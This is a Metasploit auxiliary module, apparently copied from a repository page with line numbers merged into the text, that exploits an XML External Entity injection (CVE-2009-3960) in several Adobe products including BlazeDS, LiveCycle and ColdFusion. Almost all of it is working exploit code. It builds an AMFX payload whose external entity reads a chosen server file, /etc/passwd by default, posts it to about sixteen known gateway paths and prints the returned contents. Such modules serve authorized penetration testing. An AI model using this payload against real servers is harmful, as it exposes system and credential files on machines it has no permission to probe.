Path: blob/master/modules/auxiliary/scanner/http/adobe_xml_inject.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner89def initialize10super(11'Name' => 'Adobe XML External Entity Injection',12'Description' => %q{13Multiple Adobe Products -- XML External Entity Injection. Affected Software: BlazeDS 3.2 and14earlier versions, LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1, and152.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.216},17'References' => [18[ 'CVE', '2009-3960' ],19[ 'OSVDB', '62292' ],20[ 'BID', '38197' ],21[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf' ],22[ 'URL', 'https://www.adobe.com/support/security/bulletins/apsb10-05.html'],23],24'Author' => [ 'CG' ],25'License' => MSF_LICENSE26)2728register_options(29[30Opt::RPORT(8400),31OptString.new('FILE', [ true, "File to read", '/etc/passwd']),32]33)34end3536def run_host(ip)37path = [38"/flex2gateway/",39"/flex2gateway/http", # ColdFusion 9 (disabled by default), works on some CF 8 though :-)40"/flex2gateway/httpsecure", # ColdFusion 9 (disabled by default) SSL41"/flex2gateway/cfamfpolling",42"/flex2gateway/amf",43"/flex2gateway/amfpolling",44"/messagebroker/http",45"/messagebroker/httpsecure", # SSL46"/blazeds/messagebroker/http", # Blazeds 3.247"/blazeds/messagebroker/httpsecure", # SSL48"/samples/messagebroker/http", # Blazeds 3.249"/samples/messagebroker/httpsecure", # Blazeds 3.2 SSL50"/lcds/messagebroker/http", # LCDS51"/lcds/messagebroker/httpsecure", # LCDS -- SSL52"/lcds-samples/messagebroker/http", # LCDS53"/lcds-samples/messagebroker/httpsecure", # LCDS -- SSL54]5556postrequest = "<\?xml version=\"1.0\" encoding=\"utf-8\"\?>"57postrequest << "<\!DOCTYPE test [ <\!ENTITY x3 SYSTEM \"#{datastore['FILE']}\"> ]>"58postrequest << "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">"59postrequest << "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>"60postrequest << "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>"61postrequest << "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>"62postrequest << "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>"63postrequest << "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>"64postrequest << "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>"6566path.each do |check|67res = send_request_cgi({68'uri' => check,69'method' => 'POST',70'version' => '1.1',71'Content-Type' => 'application/x-amf',72'data' => postrequest73}, 25)7475if (res.nil?)76print_error("no response for #{ip}:#{rport} #{check}")77elsif (res.code == 200 and res.body =~ /\<\?xml version\="1.0" encoding="utf-8"\?\>/)78print_status("#{rhost}:#{rport} #{check} #{res.code}\n #{res.body}")79elsif (res and res.code == 302 or res.code == 301)80print_status(" Received 302 to #{res.headers['Location']} for #{check}")81else82print_error("#{res.code} for #{check}")83# ''84end85end86rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError => e87print_error(e.message)88rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e89print_error(e.message)90end91end9293# set FILE /proc/sys/kernel/osrelease94# set FILE /proc/sys/kernel/hostname959697